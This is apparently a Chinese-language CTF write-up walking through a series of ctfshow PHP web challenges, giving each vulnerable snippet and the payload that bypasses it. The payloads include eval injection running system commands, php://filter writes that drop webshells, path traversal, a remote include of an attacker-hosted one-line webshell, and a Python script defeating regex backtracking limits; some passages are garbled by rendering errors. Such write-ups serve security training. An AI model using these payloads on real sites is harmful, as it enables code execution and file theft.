试试传入一个file,因为之前都是file,?file=index.php
然后burp返回了这个源码,过滤了好多,但是可以直接读flag.php
error_reporting(0);
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>
$flag="ctfshow{1994d609-7adb-4554-9ca9-dfa20332d4ba}";
?>
群主视频,黑屏了,黑屏了,也不知道咋做
百度上搜的大佬的wp,好像是把视频下载,然后放010里拿到图片,里面有源码,可惜不会MISC,只能碰巧
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents);
跟87很像,不过是过滤了base64,换种paload就好
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST: contents=?
这种是每两位翻转一下比如POST就变成了OPTS
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
数组绕过
payload?num[]=
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
吃瓜杯签到就是这个基础上加了第一位不能是0,这个直接进制绕过就行,intval($num,0),0的话是自适应转化进制的,八进制以0开头,所以?num=010574
就可以绕过
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行\n并且有开始^或结束 符 的 情 况 下 , 将 以 换 行 为 分 隔 符 , 逐 行 进 行 匹 配 但 是 当 出 现 换 行 符 ‘ 符的情况下,将以换行为分隔符,逐行进行匹配 但是当出现换行符 `%0a`的时候, 符的情况下,将以换行为分隔符,逐行进行匹配但是当出现换行符‘cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾
payload如下
?cmd=%0aphp
?cmd=php%0a%0a
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
变成弱==了,可以用字符绕过,也还是可以用进制绕过就可以进制绕过了?num=010574
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
过滤了字母,16进制被ban,那么八进制还是可以用,继续上题的payload
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
0不能在首位,所以还是八进制,然后在前面第一个位置加一个空格就好,或者小数绕过
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
过滤了小数点,还是空格加八进制绕过
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
换题了,flag应该在当前目录的flag.php,直接./就可以绕过加读取了
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
经典md5绕过,又要相等又要不等,直接数组绕过
a[]=1&b[]=2
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
这个考三目运算符,第一行意思就是有get参数传进来就把post传值的地址给get,否则就是flag,然后最后一行就是如果get的http_flag参数是flag就把flag作为参数传给highlight_file
那么这题就很简单了,只需要get随便传个值,然后post传HTTP_FLAG=flag就可
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
开始就是产生随机数,存入一个数组里
然后检验get传入的值是不是在数组里,这里有一个弱类型的比较,只需要传入的参数是以满足要求的数字开头的都可以。比如1.php,1.php在与数字比较时会自动变成1进行比较,如果不行的话换个数再试试
然后就是把post的内容写入get传来的参数命名的文件里
payload就是?n=1.php
,同时post传入content=
,然后访问1.php,接着post传参读flag,a=system("ls");``a=system("tac flag36d.php")
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
判断的条件是if( v 0 ) , 而 v o 的 初 始 化 为 ‘ v0),而vo的初始化为` v0),而vo的初始化为‘v0=is_numeric( v 1 ) a n d i s n u m e r i c ( v1) and is_numeric( v1)andisnumeric(v2) and is_numeric(KaTeX parse error: Expected 'EOF', got '&' at position 17: …3);`,php中运算优先级为&̲& > = > and,也就是…v1)有关,那么只需要v1传入数字即可,v2传入命令,v3需要含有;
最后payload为?v1=21&v2=var_dump($ctfshow)*/\*&v3=\*/**;*
利用内联注释可以把(‘ctfshow’)注释掉
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
相比上题过滤掉了很多东西
这个需要用到php的反射类
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = c l a s s − > n e w I n s t a n c e A r g s ( class->newInstanceArgs( class−>newInstanceArgs(args); // 相当于实例化ctfshow类
payload为?v1=1&v2=echo new ReflectionClass&v3=;
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
post传v1,get传v2v3,v2需要是数字
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容
也就是说,v1传入的函数名字,以v2的第二位以后的内容作为参数,返回结果写入v3中
payloadGET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin
先把命令base64 encode,然后再转化为数字,最后在数字前面随便加两位
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
相比上题,命令中不能含php,但是不影响用*绕过
payloadGET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php POST v1=hex2bin
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
啊这,应该想考的是不能处理数组会返回null,这时候可以绕过,但是题目也没说v1v2不能相等啊
直接v1=1 v2=1
拿到了flag
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这题的核心在于$$key=$$value
,比如传入一个参数,a=flag
,那么在第一个for循环里,就会变成$a=$flag
,a的值就会变成flag,剩下的问题就是输出,可以看到有四个die,第一个是如果get传入的参数值为error就会退出,第二个是post传入的值为flag会退出,那么需要通过die来输出,也就是说要把error或者suces的值变成flag然后就可以输出出来,那么通过第一个for循环,我们把 a 的 值 变 成 了 f l a g 的 值 , 那 么 通 过 第 二 个 f o r 循 环 可 以 把 e r r o r 的 值 或 者 s u c e s 的 值 指 向 a的值变成了flag的值,那么通过第二个for循环可以把error的值或者suces的值指向 a的值变成了flag的值,那么通过第二个for循环可以把error的值或者suces的值指向a,那就可以post传值error=a
或者suces=a
,看后面的判断,如果post传入的flag参数值与 f l a g 不 相 等 , 就 会 d i e ( e r r o r ) , 那 么 我 们 可 以 p o s t 传 值 e r r o r = a , 那 么 就 会 执 行 d i e ( flag不相等,就会die(error),那么我们可以post传值error=a,那么就会执行die( flag不相等,就会die(error),那么我们可以post传值error=a,那么就会执行die(error),$error的值是flag,这样可以拿到flag
第二个方法就是利用die( s u c e s ) 输 出 , 那 么 需 要 p o s t 传 入 的 f l a g 的 值 与 suces)输出,那么需要post传入的flag的值与 suces)输出,那么需要post传入的flag的值与flag相等,首先我们不知道flag的值,不能直接传入flag的值,再说了知道flag了还困在这干嘛直接交了,那么还有一种方法就是把KaTeX parse error: Expected 'EOF', got '&' at position 39: …t传参`?suces=flag&̲flag=`,这样会先把fla…suces)输出了
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
这个是数组绕过了
payloadGET v2[]=1 POST v1[]=2
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str() 定义和用法
parse_str() 函数把查询字符串解析到变量中。
**注释:**如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
**注释:**php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
语法
parse_str(string,array)
参数 描述 string 必需。规定要解析的字符串。 array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
payloadGET ?v3=heihei POST v1=flag=0ada0f86099479922efa4ae341df9bbd
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值
ereg函数可以用%00截断,36d的十进制是877
所以构造payload?c=a%00778
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射
payload为?v1=Exception&v2=system('ls')``?v1=Exception&v2=system('tac fl36dg.txt')
,其中exception可以换成上面另外两个
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
过滤了好多好多好多
新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构
payload?v1=FilesystemIterator&v2=getcwd
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
还是变量覆盖,v1必须是ctfshow,v2可以赋值为GLOBALS,进而将v1覆盖为$GLOBALS
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file() 函数检查指定的文件名是否是正常的文件
过滤了一些东西,并且传入的参数不能是文件
所以payload为?file=php://filter/resource=flag.php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
用另外的协议
?file=compress.zlib://flag.php
或者用目录溢出,?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
好像是软连接建立很多次就可以绕过is_file
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
file=php://filter/resource=flag.php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag
可以用换页符绕过(%0c)
payload?num=%0c36
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[
则会被转化为_
,所以按理来说我们构造不出CTF_SHOW.COM
这个变量(因为含有.
),但php中有个特性就是如果传入[
,它被转化为_
之后,后面的字符就会被保留下来不会被替换
payloadPOST CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
ban了echo、flag
payload GET a=flag.php``POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[a])
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
$_SERVER
Server and execution environment information
$_SERVER – Server and execution environment information — 服务器和执行环境信息
说明
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。这也就意味着大量的此类变量都会在» CGI 1.1 规范中说明,所以应该仔细研究一下。
目录
在 $_SERVER 中,你也许能够,也许不能够找到下面的这些元素。注意,如果以命令行方式运行 PHP,下面列出的元素几乎没有有效的(或是没有任何实际意义的)。
‘PHP_SELF’
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 如果 PHP 以命令行模式运行,这个变量将包含脚本名。
‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
‘argc’
包含命令行模式下传递给该脚本的参数的数目(如果运行在命令行模式下)。
‘GATEWAY_INTERFACE’
服务器使用的 CGI 规范的版本;例如,“
CGI/1.1
”。‘SERVER_ADDR’
当前运行脚本所在的服务器的 IP 地址。
‘SERVER_NAME’
当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。注意: 在 Apache 2 里,必须设置
UseCanonicalName = On
和ServerName
。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。‘SERVER_SOFTWARE’
服务器标识字符串,在响应请求时的头信息中给出。
‘SERVER_PROTOCOL’
请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
‘REQUEST_METHOD’
访问页面使用的请求方法;例如,“
GET
”, “HEAD
”,“POST
”,“PUT
”。注意:如果请求方法为HEAD
,PHP 脚本将在发送 Header 头信息之后终止(这意味着在产生任何输出后,不再有输出缓冲)。‘REQUEST_TIME’
请求开始时的时间戳。
‘REQUEST_TIME_FLOAT’
请求开始时的时间戳,微秒级别的精准度。
‘QUERY_STRING’
query string(查询字符串),如果有的话,通过它进行页面访问。
‘DOCUMENT_ROOT’
当前运行脚本所在的文档根目录。在服务器配置文件中定义。
‘HTTP_ACCEPT’
当前请求头中
Accept:
项的内容,如果存在的话。‘HTTP_ACCEPT_CHARSET’
当前请求头中
Accept-Charset:
项的内容,如果存在的话。例如:“iso-8859-1,*,utf-8
”。‘HTTP_ACCEPT_ENCODING’
当前请求头中
Accept-Encoding:
项的内容,如果存在的话。例如:“gzip
”。‘HTTP_ACCEPT_LANGUAGE’
当前请求头中
Accept-Language:
项的内容,如果存在的话。例如:“en
”。‘HTTP_CONNECTION’
当前请求头中
Connection:
项的内容,如果存在的话。例如:“Keep-Alive
”。‘HTTP_HOST’
当前请求头中
Host:
项的内容,如果存在的话。‘HTTP_REFERER’
引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。
‘HTTP_USER_AGENT’
当前请求头中
User-Agent:
项的内容,如果存在的话。该字符串表明了访问该页面的用户代理的信息。一个典型的例子是:Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)。除此之外,你可以通过 get_browser() 来使用该值,从而定制页面输出以便适应用户代理的性能。‘HTTPS’
如果脚本是通过 HTTPS 协议被访问,则被设为一个非空的值。
‘REMOTE_ADDR’
浏览当前页面的用户的 IP 地址。
‘REMOTE_HOST’
浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。注意: 你的服务器必须被配置以便产生这个变量。例如在 Apache 中,你需要在 httpd.conf 中设置
HostnameLookups On
来产生它。参见 gethostbyaddr()。‘REMOTE_PORT’
用户机器上连接到 Web 服务器所使用的端口号。
‘REMOTE_USER’
经验证的用户
‘REDIRECT_REMOTE_USER’
验证的用户,如果请求已在内部重定向。
‘SCRIPT_FILENAME’
当前执行脚本的绝对路径。注意:如果在命令行界面(Command Line Interface, CLI)使用相对路径执行脚本,例如 file.php 或 …/file.php,那么 $_SERVER[‘SCRIPT_FILENAME’] 将包含用户指定的相对路径。
‘SERVER_ADMIN’
该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值。
‘SERVER_PORT’
Web 服务器使用的端口。默认值为 “
80
”。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。注意: 在 Apache 2 里,为了获取真实物理端口,必须设置UseCanonicalName = On
以及UseCanonicalPhysicalPort = On
。 否则此值可能被伪造,不一定会返回真实端口值。 上下文有安全性要求的环境里,不应该依赖此值。‘SERVER_SIGNATURE’
包含了服务器版本和虚拟主机名的字符串。
‘PATH_TRANSLATED’
当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。注意: Apache 2 用户可以在 httpd.conf 中设置
AcceptPathInfo = On
来定义 PATH_INFO。‘SCRIPT_NAME’
包含当前脚本的路径。这在页面需要指向自己时非常有用。FILE 常量包含当前脚本(例如包含文件)的完整路径和文件名。
‘REQUEST_URI’
URI 用来指定要访问的页面。例如 “
/index.html
”。‘PHP_AUTH_DIGEST’
当作为 Apache 模块运行时,进行 HTTP Digest 认证的过程中,此变量被设置成客户端发送的“Authorization” HTTP 头内容(以便作进一步的认证操作)。
‘PHP_AUTH_USER’
当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
‘PHP_AUTH_PW’
当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
‘AUTH_TYPE’
当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。
‘PATH_INFO’
包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息,如果存在的话。例如,如果当前脚本是通过 URL http://www.example.com/php/path_info.php/some/stuff?foo=bar 被访问,那么 $_SERVER[‘PATH_INFO’] 将包含
/some/stuff
。‘ORIG_PATH_INFO’
在被 PHP 处理之前,“PATH_INFO” 的原始版本。
范例
示例 #1 $_SERVER 范例
以上例程的输出类似于:
www.example.com
注释
注意:
“Superglobal”也称为自动化的全局变量。这就表示其在脚本的所有作用域中都是可用的。不需要在函数或方法中用 global $variable; 来访问它。
payloadGET ?$fl0g=flag_give_me; POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
a [ 0 ] = a[0]= a[0]=fl0g=flag_give_me
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值,举例就是?a=2
,就会变成$a=2
payload?ctf show=ilove36d
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
这里对$f1
进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展_() 等效于 gettext()
因此call_user_func('_','ctfshownb')
返回的结果为ctfshownb
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload?f1=_&f2=get_defined_vars
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
目录穿越?f=/ctfshow/../var/www/html/flag.php
远程文件包含,在自己的服务器上写一句话木马进行利用,url为你的服务器ip或者域名,xxxx.txt为你写的一句话木马?f=http://url/xxxx.txt?ctfshow
php伪协议?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
但是这个题直接f=ctfshow
就可,正则匹配不到这个,然后后面是0===false,都可以过去
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
import requests
url = "http://8e5babad-955e-4ff9-8484-0a9608e10481.challenge.ctf.show:8080/"
data = {
'f': 'showsh'*170000+'36Dctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
进去是一个奇怪的网站,访问robots.txt看到admin的提示,访问/admin/,得到源码,这里一个if是输入,第二个if是&& ||,只需要||前面或者后面有一个为真便满足条件,所以可以满足$username===admin
,第二个if$code=admin
所以payload就是username=admin&code=admin&password=heihei
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
限制了6个字符之内,ban了一些命令,而且设置了当前文件夹不可写,可以用``反引号替代exec,
